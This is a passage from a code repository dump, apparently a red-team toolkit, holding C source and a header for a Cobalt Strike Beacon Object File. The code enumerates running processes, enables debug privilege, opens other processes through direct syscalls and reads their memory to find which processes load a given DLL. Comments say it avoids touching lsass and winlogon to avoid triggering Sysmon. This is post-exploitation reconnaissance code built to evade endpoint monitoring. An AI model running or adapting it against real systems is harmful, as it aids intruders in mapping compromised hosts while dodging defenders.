(_NtWow64ReadVirtualMemory64)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWow64ReadVirtualMemory64\");\n\tif (NtWow64ReadVirtualMemory64 == NULL) {\n\t\treturn FALSE;\n\t}\n\n\tstatus = NtWow64QueryInformationProcess64(hProcess, ProcessBasicInformation, &BasicInformation64, sizeof(BasicInformation64), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tstatus = NtWow64ReadVirtualMemory64(hProcess, BasicInformation64.PebBaseAddress, &Peb64, sizeof(Peb64), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\t// Get the address of the Process Parameters struct and read ImagePathName data.\n\tstatus = NtWow64ReadVirtualMemory64(hProcess, Peb64.ProcessParameters, &ProcessParameters64, sizeof(ProcessParameters64), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tMSVCRT$memset(wcImagePathName, 0, sizeof(wcImagePathName));\n\tstatus = NtWow64ReadVirtualMemory64(hProcess, ProcessParameters64.ImagePathName.Buffer, &wcImagePathName, ProcessParameters64.ImagePathName.MaximumLength, NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\t// Get the address of the PE Loader data.\n\tstatus = NtWow64ReadVirtualMemory64(hProcess, Peb64.Ldr, &LoaderData64, sizeof(LoaderData64), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tULONG64 pStartModuleInfo = LoaderData64.InLoadOrderModuleList.Flink;\n\tULONG64 pNextModuleInfo = LoaderData64.InLoadOrderModuleList.Flink;\n\n\tdo\n\t{\n\t\t// Read the current module.\n\t\tstatus = NtWow64ReadVirtualMemory64(hProcess, pNextModuleInfo, &LoaderModule64, sizeof(LoaderModule64), NULL);\n\t\tif (status != STATUS_SUCCESS) {\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tMSVCRT$memset(wcFullDllName, 0, sizeof(wcFullDllName));\n\t\tstatus = NtWow64ReadVirtualMemory64(hProcess, LoaderModule64.FullDllName.Buffer, &wcFullDllName, LoaderModule64.FullDllName.MaximumLength, NULL);\n\t\tif (status != STATUS_SUCCESS) {\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tlpwDllName = PathFindFileNameW(wcFullDllName);\n\t\tif (MSVCRT$_wcsicmp(lpwDllName, lpwModuleName) == 0) {\n\t\t\tBeaconPrintToStreamW(\n\t\t\t\tL\"[+] ProcessName: %wZ\\n\"\n\t\t\t\t\"    ProcessID:   %lu\\n\"\n\t\t\t\t\"    ImagePath:   %ls\\n\"\n\t\t\t\t\"    ModuleName:  %ls\\n\\n\", uProcName, ulPid, wcImagePathName, wcFullDllName);\n\t\t\t\n\t\t\tbResult = TRUE;\n\t\t}\n\n\t\tpNextModuleInfo = LoaderModule64.InLoadOrderLinks.Flink;\n\n\t} while (pNextModuleInfo != pStartModuleInfo);\n\n\treturn bResult;\n}\n\n\nVOID go(IN PCHAR Args, IN ULONG Length) \n{\n\tNTSTATUS status;\n\tBOOL bResult = FALSE;\n\tBOOL bIsWoW64 = FALSE;\n\tPSYSTEM_PROCESSES pProcInfo = NULL;\n\tULONG ulCurPid = 0;\n\tUNICODE_STRING uLsass;\n\tUNICODE_STRING uWinlogon;\n\tLPVOID pProcInfoBuffer = NULL;\n\tSIZE_T procInfoSize = 0x10000;\n\tULONG uReturnLength = 0;\n\tLPCWSTR lpwModuleName = NULL;\n\n\t// Parse Arguments\n\tdatap parser;\n\tBeaconDataParse(&parser, Args, Length);\n\tlpwModuleName = (LPWSTR)BeaconDataExtract(&parser, NULL);\n\n\tif (lpwModuleName == NULL) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Invalid argument...\\n\");\n\t\treturn;\n\t}\n\n\t_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlInitUnicodeString\");\n\tif (RtlInitUnicodeString == NULL) {\n\t\treturn;\n\t}\n\n\t_RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlEqualUnicodeString\");\n\tif (RtlEqualUnicodeString == NULL) {\n\t\treturn;\n\t}\n\n#if defined(WOW64)\n\tbIsWoW64 = IsProcessWoW64(NtCurrentProcess());\n#endif\n\n\tif (IsElevated()) {\n\t\tSetDebugPrivilege();\n\t}\n\n\tdo {\n\t\tpProcInfoBuffer = NULL;\n\t\tstatus = ZwAllocateVirtualMemory(NtCurrentProcess(), &pProcInfoBuffer, 0, &procInfoSize, MEM_COMMIT, PAGE_READWRITE);\n\t\tif (status != STATUS_SUCCESS) {\n\t\t\treturn;\n\t\t}\n\n\t\tstatus = ZwQuerySystemInformation(SystemProcessInformation, pProcInfoBuffer, (ULONG)procInfoSize, &uReturnLength);\n\t\tif (status == STATUS_INFO_LENGTH_MISMATCH) {\n\t\t\tZwFreeVirtualMemory(NtCurrentProcess(), &pProcInfoBuffer, &procInfoSize, MEM_RELEASE);\n\t\t\tprocInfoSize += uReturnLength;\n\t\t}\n\n\t} while (status != STATUS_SUCCESS);\n\n\tulCurPid = GetCurrentPid();\n\tRtlInitUnicodeString(&uLsass, L\"lsass.exe\");\n\tRtlInitUnicodeString(&uWinlogon, L\"winlogon.exe\");\n\n\tpProcInfo = (PSYSTEM_PROCESSES)pProcInfoBuffer;\n\n\tdo {\n\t\tpProcInfo = (PSYSTEM_PROCESSES)(((LPBYTE)pProcInfo) + pProcInfo->NextEntryDelta);\n\n\t\tif ((ULONG)(ULONG_PTR)pProcInfo->ProcessId == 4) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tif ((ULONG)(ULONG_PTR)pProcInfo->ProcessId == ulCurPid) {\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\t// Don't trigger sysmon by touching lsass or winlogon\n\t\tif (RtlEqualUnicodeString(&pProcInfo->ProcessName, &uLsass, TRUE)) {\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\tif (RtlEqualUnicodeString(&pProcInfo->ProcessName, &uWinlogon, TRUE)) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tHANDLE hProcess = NULL;\n\t\tOBJECT_ATTRIBUTES ObjectAttributes;\n\t\tInitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);\n\t\tCLIENT_ID uPid = { 0 };\n\n\t\tuPid.UniqueProcess = pProcInfo->ProcessId;\n\t\tuPid.UniqueThread = (HANDLE)0;\n\n\t\tNTSTATUS status = ZwOpenProcess(&hProcess, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &ObjectAttributes, &uPid);\n\t\tif (hProcess != NULL) {\n\t\t\tif (bIsWoW64 && (!IsProcessWoW64(hProcess))) {\n\t\t\t\tif (EnumerateProcessModulesFromWoW64(hProcess, lpwModuleName, &pProcInfo->ProcessName, (ULONG)(ULONG_PTR)pProcInfo->ProcessId)) {\n\t\t\t\t\tbResult = TRUE;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tif (EnumerateProcessModules(hProcess, lpwModuleName, &pProcInfo->ProcessName, (ULONG)(ULONG_PTR)pProcInfo->ProcessId)) {\n\t\t\t\t\tbResult = TRUE;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tZwClose(hProcess);\n\t\t}\n\t\t\n\t\tif (pProcInfo->NextEntryDelta == 0) {\n\t\t\tbreak;\n\t\t}\n\n\t} while (pProcInfo && pProcInfo->NextEntryDelta);\n\n\tif (bResult) {\n\t\t//Print final Output\n\t\tBeaconOutputStreamW();\n\t}\n\telse{\n\t\tBeaconPrintf(CALLBACK_OUTPUT,\"[!] No matching modules found.\");\n\t}\n\n\tif (pProcInfoBuffer) {\n\t\tstatus = ZwFreeVirtualMemory(NtCurrentProcess(), &pProcInfoBuffer, &procInfoSize, MEM_RELEASE);\n\t}\n\n\treturn;\n}\n"
  },
  {
    "path": "Process-BOF/findobjects/FindObjects.h",
    "content": "#pragma once\n\n#include <windows.h>\n\n#define STATUS_SUCCESS 0\n#define STATUS_UNSUCCESSFUL 0xC0000001\n#define STATUS_BUFFER_TOO_SMALL 0xC0000023\n#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004\ntypedef LONG KPRIORITY;\n\n#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )\n\n//KERNEL32\nWINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();\nWINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);\n\n//MSVCRT\nWINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *_Str1, const wchar_t *_Str2);\nWINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);\nWINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);\nWINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);\nWINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);\nWINBASEAPI void __cdecl MSVCRT$free(void *memblock);\n\n//OLE32\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);\n\n//ADVAPI32\nWINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeValueW(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid);\n\n#define InitializeObjectAttributes( i, o, a, r, s ) {    \\\n      (i)->Length = sizeof( OBJECT_ATTRIBUTES );         \\\n      (i)->RootDirectory = r;                            \\\n      (i)->Attributes = a;                               \\\n      (i)->ObjectName = o;                               \\\n      (i)->SecurityDescriptor = s;                       \\\n      (i)->SecurityQualityOfService = NULL;              \\\n   }\n\ntypedef enum _SYSTEM_INFORMATION_CLASS {\n\tSystemBasicInformation,\n\tSystemProcessorInformation,\n\tSystemPerformanceInformation,\n\tSystemTimeOfDayInformation,\n\tSystemPathInformation,\n\tSystemProcessInformation,\n\tSystemCallCountInformation,\n\tSystemDeviceInformation,\n\tSystemProcessorPerformanceInformation,\n\tSystemFlagsInformation,\n\tSystemCallTimeInformation,\n\tSystemModuleInformation,\n\tSystemHandleInformation = 16,\n\tSystemProcessIdInformation = 88\n} SYSTEM_INFORMATION_CLASS, * PSYSTEM_INFORMATION_CLASS;\n\ntypedef enum _OBJECT_INFORMATION_CLASS {\n\tObjectBasicInformation = 0,\n\tObjectNameInformation = 1,\n\tObjectTypeInformation = 2,\n\tObjectTypesInformation = 3,\n\tObjectHandleFlagInformation = 4,\n\tObjectSessionInformation = 5,\n\tObjectSessionObjectInformation = 6,\n\tMaxObjectInfoClass = 7\n} OBJECT_INFORMATION_CLASS;\n\n// Partial PROCESSINFOCLASS\ntypedef enum _PROCESSINFOCLASS {\n\tProcessBasicInformation, // q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION\n\tProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX\n\tProcessIoCounters, // q: IO_COUNTERS\n\tProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX, VM_COUNTERS_EX2\n\tProcessTimes, // q: KERNEL_USER_TIMES\n\tProcessBasePriority, // s: KPRIORITY\n\tProcessRaisePriority, // s: ULONG\n\tProcessDebugPort, // q: HANDLE\n\tProcessExceptionPort, // s: PROCESS_EXCEPTION_PORT\n\tProcessAccessToken, // s: PROCESS_ACCESS_TOKEN\n\tProcessLdtInformation, // qs: PROCESS_LDT_INFORMATION // 10\n\tProcessLdtSize, // s: PROCESS_LDT_SIZE\n\tProcessDefaultHardErrorMode, // qs: ULONG\n\tProcessIoPortHandlers, // (kernel-mode only)\n\tProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS\n\tProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void\n\tProcessUserModeIOPL,\n\tProcessEnableAlignmentFaultFixup, // s: BOOLEAN\n\tProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS\n\tProcessWx86Information,\n\tProcessHandleCount, // q: ULONG, PROCESS_HANDLE_INFORMATION // 20\n\tProcessAffinityMask, // s: KAFFINITY\n\tProcessPriorityBoost, // qs: ULONG\n\tProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX\n\tProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION\n\tProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND\n\tProcessWow64Information, // q: ULONG_PTR\n\tProcessImageFileName // q: UNICODE_STRING\n} PROCESSINFOCLASS;\n\ntypedef enum _POOL_TYPE {\n\tNonPagedPool = 0,\n\tNonPagedPoolExecute = 0,\n\tPagedPool = 1,\n\tNonPagedPoolMustSucceed = 2,\n\tDontUseThisType = 3,\n\tNonPagedPoolCacheAligned = 4,\n\tPagedPoolCacheAligned = 5,\n\tNonPagedPoolCacheAlignedMustS = 6,\n} POOL_TYPE, * PPOOL_TYPE;\n\ntypedef struct _UNICODE_STRING {\n\tUSHORT Length;\n\tUSHORT MaximumLength;\n\tPWSTR  Buffer;\n} UNICODE_STRING, * PUNICODE_STRING;\n\ntypedef const UNICODE_STRING* PCUNICODE_STRING;\n\ntypedef struct _UNICODE_STRING_WOW64 {\n\tUSHORT Length;\n\tUSHORT MaximumLength;\n\tULONG64 Buffer;\n} UNICODE_STRING_WOW64;\n\ntypedef struct _SYSTEM_PROCESSES {\n\tULONG NextEntryDelta;\n\tULONG ThreadCount;\n\tULONG Reserved1[6];\n\tLARGE_INTEGER CreateTime;\n\tLARGE_INTEGER UserTime;\n\tLARGE_INTEGER KernelTime;\n\tUNICODE_STRING ProcessName;\n\tKPRIORITY BasePriority;\n\tHANDLE ProcessId;\n\tHANDLE InheritedFromProcessId;\n} SYSTEM_PROCESSES, * PSYSTEM_PROCESSES;\n\ntypedef struct _SYSTEM_PROCESS_ID_INFORMATION {\n\tHANDLE ProcessId;\n\tUNICODE_STRING ImageName;\n} SYSTEM_PROCESS_ID_INFORMATION, * PSYSTEM_PROCESS_ID_INFORMATION;\n\ntypedef struct _OBJECT_ATTRIBUTES {\n\tULONG Length;\n\tHANDLE RootDirectory;\n\tPUNICODE_STRING ObjectName;\n\tULONG Attributes;\n\tPVOID SecurityDescriptor;\n\tPVOID SecurityQualityOfService;\n} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;\n\ntypedef struct _CLIENT_ID {\n\tHANDLE UniqueProcess;\n\tHANDLE UniqueThread;\n} CLIENT_ID, * PCLIENT_ID;\n\ntypedef struct _SYSTEM_HANDLE {\n\tULONG ProcessId;\n\tBYTE ObjectTypeNumber;\n\tBYTE Flags;\n\tUSHORT Handle;\n\tPVOID Object;\n\tACCESS_MASK GrantedAccess;\n} SYSTEM_HANDLE, * PSYSTEM_HANDLE;\n\ntypedef struct _SYSTEM_HANDLE_INFORMATION {\n\tULONG HandleCount;\n\tSYSTEM_HANDLE Handles[1];\n} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;\n\ntypedef struct _OBJECT_TYPE_INFORMATION {\n\tUNICODE_STRING Name;\n\tULONG TotalNumberOfObjects;\n\tULONG TotalNumberOfHandles;\n\tULONG TotalPagedPoolUsage;\n\tULONG TotalNonPagedPoolUsage;\n\tULONG TotalNamePoolUsage;\n\tULONG TotalHandleTableUsage;\n\tULONG HighWaterNumberOfObjects;\n\tULONG HighWaterNumberOfHandles;\n\tULONG HighWaterPagedPoolUsage;\n\tULONG HighWaterNonPagedPoolUsage;\n\tULONG HighWaterNamePoolUsage;\n\tULONG HighWaterHandleTableUsage;\n\tULONG InvalidAttributes;\n\tGENERIC_MAPPING GenericMapping;\n\tULONG ValidAccess;\n\tBOOLEAN SecurityRequired;\n\tBOOLEAN MaintainHandleCount;\n\tUSHORT MaintainTypeList;\n\tPOOL_TYPE PoolType;\n\tULONG PagedPoolUsage;\n\tULONG NonPagedPoolUsage;\n} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;\n\ntypedef struct _PEB_LDR_DATA {\n\tULONG Length;\n\tBOOLEAN Initialized;\n\tHANDLE SsHandle;\n\tLIST_ENTRY InLoadOrderModuleList;\n\tLIST_ENTRY InMemoryOrderModuleList;\n\tLIST_ENTRY InInitializationOrderModuleList;\n\tPVOID EntryInProgress;\n\tBOOLEAN ShutdownInProgress;\n\tHANDLE ShutdownThreadId;\n} PEB_LDR_DATA, * PPEB_LDR_DATA;\n\ntypedef struct _PEB_LDR_DATA64 {\n    ULONG Length;\n    BOOLEAN Initialized;\n    ULONG64 SsHandle;\n    LIST_ENTRY64 InLoadOrderModuleList;\n    LIST_ENTRY64 InMemoryOrderModuleList;\n    LIST_ENTRY64 InInitializationOrderModuleList;\n} PEB_LDR_DATA64, *PPEB_LDR_DATA64;\n\ntypedef struct _RTL_USER_PROCESS_PARAMETERS {\n\tBYTE           Reserved1[16];\n\tPVOID          Reserved2[10];\n\tUNICODE_STRING ImagePathName;\n\tUNICODE_STRING CommandLine;\n} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;\n\ntypedef struct _LDR_DATA_TABLE_ENTRY64 {\n\tLIST_ENTRY64 InLoadOrderLinks;\n\tLIST_ENTRY64 InMemoryOrderLinks;\n\tunion\n\t{\n\t\tLIST_ENTRY64 InInitializationOrderLinks;\n\t\tLIST_ENTRY64 InProgressLinks;\n\t};\n\tULONG64 DllBase;\n\tULONG64 EntryPoint;\n\tULONG64 SizeOfImage;\n\tUNICODE_STRING_WOW64 FullDllName;\n\tUNICODE_STRING_WOW64 BaseDllName;\n} LDR_DATA_TABLE_ENTRY64, *PLDR_DATA_TABLE_ENTRY64;\n\ntypedef struct _API_SET_NAMESPACE {\n\tULONG Version;\n\tULONG Size;\n\tULONG Flags;\n\tULONG Count;\n\tULONG EntryOffset;\n\tULONG HashOffset;\n\tULONG HashFactor;\n} API_SET_NAMESPACE, * PAPI_SET_NAMESPACE;\n\ntypedef struct _CURDIR64 {\n\tUNICODE_STRING_WOW64 DosPath;\n\tHANDLE Handle;\n} CURDIR64, *PCURDIR64;\n\ntypedef struct _RTL_USER_PROCESS_PARAMETERS64 {\n\tULONG MaximumLength;\n\tULONG Length;\n    ULONG Flags;\n    ULONG DebugFlags;\n    ULONG64 ConsoleHandle;\n    ULONG ConsoleFlags;\n    ULONG64 StandardInput;\n    ULONG64 StandardOutput;\n    ULONG64 StandardError;\n    CURDIR64 CurrentDirectory;\n    UNICODE_STRING_WOW64 DllPath;\n    UNICODE_STRING_WOW64 ImagePathName;\n    UNICODE_STRING_WOW64 CommandLine;\n} RTL_USER_PROCESS_PARAMETERS64, *PRTL_USER_PROCESS_PARAMETERS64;\n\n// Partial PEB64\ntypedef struct _PEB64 {\n\tBYTE Reserved[16];\n\tULONG64 ImageBaseAddress;\n\tULONG64 Ldr;\n\tULONG64 ProcessParameters;\n} PEB64, *PPEB64;\n\n// Partial PEB\ntypedef struct _PEB {\n\tBOOLEAN InheritedAddressSpace;\n\tBOOLEAN ReadImageFileExecOptions;\n\tBOOLEAN BeingDebugged;\n\tunion\n\t{\n\t\tBOOLEAN BitField;\n\t\tstruct\n\t\t{\n\t\t\tBOOLEAN ImageUsesLargePages : 1;\n\t\t\tBOOLEAN IsProtectedProcess : 1;\n\t\t\tBOOLEAN IsLegacyProcess : 1;\n\t\t\tBOOLEAN IsImageDynamicallyRelocated : 1;\n\t\t\tBOOLEAN SkipPatchingUser32Forwarders : 1;\n\t\t\tBOOLEAN SpareBits : 3;\n\t\t};\n\t};\n\tHANDLE Mutant;\n\n\tPVOID ImageBaseAddress;\n\tPPEB_LDR_DATA Ldr;\n\tPRTL_USER_PROCESS_PARAMETERS ProcessParameters;\n\tPVOID SubSystemData;\n\tPVOID ProcessHeap;\n\tPRTL_CRITICAL_SECTION FastPebLock;\n\tPVOID IFEOKey;\n\tPSLIST_HEADER AtlThunkSListPtr;\n\tunion\n\t{\n\t\tULONG CrossProcessFlags;\n\t\tstruct\n\t\t{\n\t\t\tULONG ProcessInJob : 1;\n\t\t\tULONG ProcessInitializing : 1;\n\t\t\tULONG ProcessUsingVEH : 1;\n\t\t\tULONG ProcessUsingVCH : 1;\n\t\t\tULONG ProcessUsingFTH : 1;\n\t\t\tULONG ProcessPreviouslyThrottled : 1;\n\t\t\tULONG ProcessCurrentlyThrottled : 1;\n\t\t\tULONG ProcessImagesHotPatched : 1;\n\t\t\tULONG ReservedBits0 : 24;\n\t\t};\n\t};\n\tunion\n\t{\n\t\tPVOID KernelCallbackTable;\n\t\tPVOID UserSharedInfoPtr;\n\t};\n\tULONG SystemReserved;\n\tULONG AtlThunkSListPtr32;\n\tPAPI_SET_NAMESPACE ApiSetMap;\n\tULONG TlsExpansionCounter;\n\tPVOID TlsBitmap;\n\tULONG TlsBitmapBits[2];\n\tPVOID ReadOnlySharedMemoryBase;\n\tPVOID SharedData;\n\tPVOID* ReadOnlyStaticServerData;\n\tPVOID AnsiCodePageData;\n\tPVOID OemCodePageData;\n\tPVOID UnicodeCaseTableData;\n\tULONG NumberOfProcessors;\n\tULONG NtGlobalFlag;\n\tULARGE_INTEGER CriticalSectionTimeout;\n\tSIZE_T HeapSegmentReserve;\n\tSIZE_T HeapSegmentCommit;\n\tSIZE_T HeapDeCommitTotalFreeThreshold;\n\tSIZE_T HeapDeCommitFreeBlockThreshold;\n\tULONG NumberOfHeaps;\n\tULONG MaximumNumberOfHeaps;\n\tPVOID* ProcessHeaps;\n\tPVOID GdiSharedHandleTable;\n\tPVOID ProcessStarterHelper;\n\tULONG GdiDCAttributeList;\n\tPRTL_CRITICAL_SECTION LoaderLock;\n\tULONG OSMajorVersion;\n\tULONG OSMinorVersion;\n\tUSHORT OSBuildNumber;\n} PEB, * PPEB;\n\ntypedef struct _LDR_DATA_TABLE_ENTRY {\n\tLIST_ENTRY InLoadOrderLinks;\n\tLIST_ENTRY InMemoryOrderLinks;\n\tunion\n\t{\n\t\tLIST_ENTRY InInitializationOrderLinks;\n\t\tLIST_ENTRY InProgressLinks;\n\t};\n\tPVOID DllBase;\n\tPVOID EntryPoint;\n\tULONG SizeOfImage;\n\tUNICODE_STRING FullDllName;\n\tUNICODE_STRING BaseDllName;\n\tULONG Flags;\n\tWORD LoadCount;\n\tWORD TlsIndex;\n\tunion\n\t{\n\t\tLIST_ENTRY HashLinks;\n\t\tstruct\n\t\t{\n\t\t\tPVOID SectionPointer;\n\t\t\tULONG CheckSum;\n\t\t};\n\t};\n\tunion\n\t{\n\t\tULONG TimeDateStamp;\n\t\tPVOID LoadedImports;\n\t};\n} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;\n\ntypedef struct _PROCESS_BASIC_INFORMATION {\n\tLONG ExitStatus;\n\tPPEB PebBaseAddress;\n\tULONG_PTR AffinityMask;\n\tLONG BasePriority;\n\tULONG_PTR UniqueProcessId;\n\tULONG_PTR ParentProcessId;\n} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION;\n\ntypedef struct _PROCESS_BASIC_INFORMATION_WOW64 {\n\tNTSTATUS ExitStatus;\n\tULONG64 PebBaseAddress;\n\tULONG64 AffinityMask;\n\tKPRIORITY BasePriority;\n\tULONG64 UniqueProcessId;\n\tULONG64 InheritedFromUniqueProcessId;\n} PROCESS_BASIC_INFORMATION_WOW64, *PPROCESS_BASIC_INFORMATION_WOW64;\n\nEXTERN_C NTSTATUS ZwQuerySystemInformation(\n    SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    PVOID SystemInformation,\n    ULONG SystemInformationLength,\n    PULONG ReturnLength\n    );\n\nEXTERN_C NTSTATUS ZwQueryInformationProcess(\n\tHANDLE ProcessHandle,\n\tDWORD ProcessInformationClass,\n\tPVOID ProcessInformation,\n\tDWORD ProcessInformationLength,\n\tPDWORD ReturnLength\n\t);\n\nEXTERN_C NTSTATUS ZwOpenProcess(\n    PHANDLE ProcessHandle, \n    ACCESS_MASK DesiredAccess, \n    POBJECT_ATTRIBUTES ObjectAttributes, \n    PCLIENT_ID ClientId\n    );\n\nEXTERN_C NTSTATUS ZwQueryInformationToken(\n\tHANDLE TokenHandle,\n\tTOKEN_INFORMATION_CLASS TokenInformationClass,\n\tPVOID TokenInformation,\n\tULONG TokenInformationLength,\n\tPULONG ReturnLength\n\t);\n\nEXTERN_C NTSTATUS ZwAdjustPrivilegesToken(\n    IN HANDLE TokenHandle,\n    IN BOOLEAN DisableAllPrivileges,\n    IN PTOKEN_PRIVILEGES TokenPrivileges,\n    IN ULONG PreviousPrivilegesLength,\n    OUT PTOKEN_PRIVILEGES PreviousPrivileges OPTIONAL,\n    OUT PULONG RequiredLength OPTIONAL\n    );\n\nEXTERN_C NTSTATUS ZwAllocateVirtualMemory(\n    HANDLE ProcessHandle, \n    PVOID *BaseAddress, \n    ULONG_PTR ZeroBits, \n    PSIZE_T RegionSize, \n    ULONG AllocationType, \n    ULONG Protect\n    );\n\nEXTERN_C NTSTATUS ZwFreeVirtualMemory(\n    HANDLE ProcessHandle, \n    PVOID *BaseAddress, \n    IN OUT PSIZE_T RegionSize, \n    ULONG FreeType\n    );\n\nEXTERN_C NTSTATUS ZwReadVirtualMemory(\n    HANDLE hProcess, \n    PVOID lpBaseAddress, \n    PVOID lpBuffer, \n    SIZE_T NumberOfBytesToRead, \n    PSIZE_T NumberOfBytesRead\n    );\n\nEXTERN_C NTSTATUS ZwWriteVirtualMemory(\n    HANDLE hProcess, \n    PVOID lpBaseAddress, \n    PVOID lpBuffer, \n    SIZE_T NumberOfBytesToWrite, \n    PSIZE_T NumberOfBytesWrite\n    );\n\nEXTERN_C NTSTATUS ZwDuplicateObject(\n\tHANDLE SourceProcessHandle,\n\tHANDLE SourceHandle,\n\tHANDLE TargetProcessHandle,\n\tPHANDLE TargetHandle,\n\tACCESS_MASK DesiredAccess,\n\tULONG Attributes,\n\tULONG Options\n\t);\n\nEXTERN_C NTSTATUS ZwQueryObject(\n\tHANDLE ObjectHandle,\n\tULONG ObjectInformationClass,\n\tPVOID ObjectInformation,\n\tULONG ObjectInformationLength,\n\tPULONG ReturnLength\n\t);\n\nEXTERN_C NTSTATUS ZwClose(\n    IN HANDLE KeyHandle\n    );\n\ntypedef NTSTATUS(NTAPI* _NtOpenProcessToken)(\n\tIN HANDLE ProcessHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tOUT PHANDLE TokenHandle\n\t);\n\ntypedef PULONG(NTAPI *_RtlSubAuthoritySid)(\n\tPSID  Sid,\n\tULONG SubAuthority\n\t);\n\ntypedef PUCHAR(NTAPI *_RtlSubAuthorityCountSid)(\n\t_In_ PSID Sid\n\t);\n\ntypedef void (WINAPI* _RtlInitUnicodeString)(\n\tPUNICODE_STRING DestinationString,\n\tPCWSTR SourceString\n\t);\n\ntypedef BOOLEAN(NTAPI* _RtlEqualUnicodeString)(\n\tPUNICODE_STRING String1,\n\tPCUNICODE_STRING String2,\n\tBOOLEAN CaseInSensitive\n\t);\n\ntypedef NTSTATUS(NTAPI *_NtWow64QueryInformationProcess64) (\n\tIN HANDLE ProcessHandle,\n\tIN PROCESSINFOCLASS ProcessInformationClass,\n\tOUT PVOID ProcessInformation,\n\tIN ULONG ProcessInformationLength,\n\tOUT PULONG ReturnLength OPTIONAL\n\t);\n\ntypedef NTSTATUS(NTAPI *_NtWow64ReadVirtualMemory64)(\n\tIN HANDLE ProcessHandle,\n\tIN ULONG64 BaseAddress,\n\tOUT PVOID Buffer,\n\tIN ULONG64 Size,\n\tOUT PULONG64 NumberOfBytesRead\n\t);\n"
  },
  {
    "path": "Process-BOF/findobjects/FindProcHandle.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n\n#if defined(WOW64)\n#include \"Syscalls-WoW64.h\"\n#else\n#include \"Syscalls.h\"\n#endif\n\n#include \"FindObjects.h\"\n#include \"beacon.h\"\n\nINT iGarbage = 1;\nLPSTREAM lpStream = (LPSTREAM)1;\n\nHRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {\n\tHRESULT hr = S_OK;\n\tva_list argList;\n\tWCHAR chBuffer[1024];\n\tDWORD dwWritten = 0;\n\n\tif (lpStream <= (LPSTREAM)1) {\n\t\thr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &lpStream);\n\t\tif (FAILED(hr)) {\n\t\t\treturn hr;\n\t\t}\n\t}\n\n\tva_start(argList, lpwFormat);\n\tMSVCRT$memset(chBuffer, 0, sizeof(chBuffer));\n\tif (!MSVCRT$_vsnwprintf_s(chBuffer, _countof(chBuffer), _TRUNCATE, lpwFormat, argList)) {\n\t\thr = E_FAIL;\n\t\tgoto CleanUp;\n\t}\n\n\tif (FAILED(hr = lpStream->lpVtbl->Write(lpStream, chBuffer, (ULONG)MSVCRT$wcslen(chBuffer) * sizeof(WCHAR), &dwWritten))) {\n\t\tgoto CleanUp;\n\t}\n\nCleanUp:\n\n\tva_end(argList);\n\treturn hr;\n}\n\nVOID BeaconOutputStreamW() {\n\tSTATSTG ssStreamData = { 0 };\n\tSIZE_T cbSize = 0;\n\tULONG cbRead = 0;\n\tLARGE_INTEGER pos;\n\tLPWSTR lpwOutput = NULL;\n\n\tif (FAILED(lpStream->lpVtbl->Stat(lpStream, &ssStreamData, 